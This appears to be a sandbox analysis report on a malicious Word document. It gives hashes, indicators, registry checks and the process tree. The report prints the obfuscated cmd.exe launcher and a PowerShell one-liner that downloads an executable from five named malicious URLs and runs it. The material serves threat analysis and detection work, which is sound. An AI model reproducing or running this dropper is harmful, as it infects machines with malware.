Analysis
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max time kernel
107s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20220331-en -
submitted
04-04-2022 03:17
Static task
static1
Behavioral task
behavioral1
Sample
asoxjiup.doc
Resource
win7-20220331-en
Behavioral task
behavioral2
Sample
asoxjiup.doc
Resource
win10v2004-20220331-en
General
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Target
asoxjiup.doc
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Size
106KB
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MD5
30326e79afdba5026d51ab50b37939d2
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SHA1
b4b420c4a464d12f62b94c65aff4ba230c95f3f2
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SHA256
403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704
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SHA512
9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce
Malware Config
Extracted
http://amedion.net/uNMU39B
http://biciculturabcn.com/6s97jYza
http://valenetinternet.com.br/3Rdtv
http://goshowcar.com/9RVqaX
http://wheelbalancetraining.com/9il
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3912 3704 Cmd.exe WINWORD.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 14 2044 powershell.exe 15 2044 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
Cmd.exepid process 3912 Cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3704 WINWORD.EXE 3704 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2044 powershell.exe 2044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2044 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXECmd.exedescription pid process target process PID 3704 wrote to memory of 3912 3704 WINWORD.EXE Cmd.exe PID 3704 wrote to memory of 3912 3704 WINWORD.EXE Cmd.exe PID 3912 wrote to memory of 2044 3912 Cmd.exe powershell.exe PID 3912 wrote to memory of 2044 3912 Cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\asoxjiup.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\Cmd.exeCmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/2044-130-0x0000000000000000-mapping.dmp
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memory/2044-135-0x000002BD1AA76000-0x000002BD1AA78000-memory.dmpFilesize
8KB
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memory/2044-132-0x00007FFCBB830000-0x00007FFCBC2F1000-memory.dmpFilesize
10.8MB
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memory/2044-133-0x000002BD1AA70000-0x000002BD1AA72000-memory.dmpFilesize
8KB
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memory/2044-134-0x000002BD1AA73000-0x000002BD1AA75000-memory.dmpFilesize
8KB
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memory/2044-131-0x000002BD1AB80000-0x000002BD1ABA2000-memory.dmpFilesize
136KB
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memory/3704-128-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-124-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-127-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-125-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-126-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-136-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-137-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-138-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3704-139-0x00007FFCA6E10000-0x00007FFCA6E20000-memory.dmpFilesize
64KB
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memory/3912-129-0x0000000000000000-mapping.dmp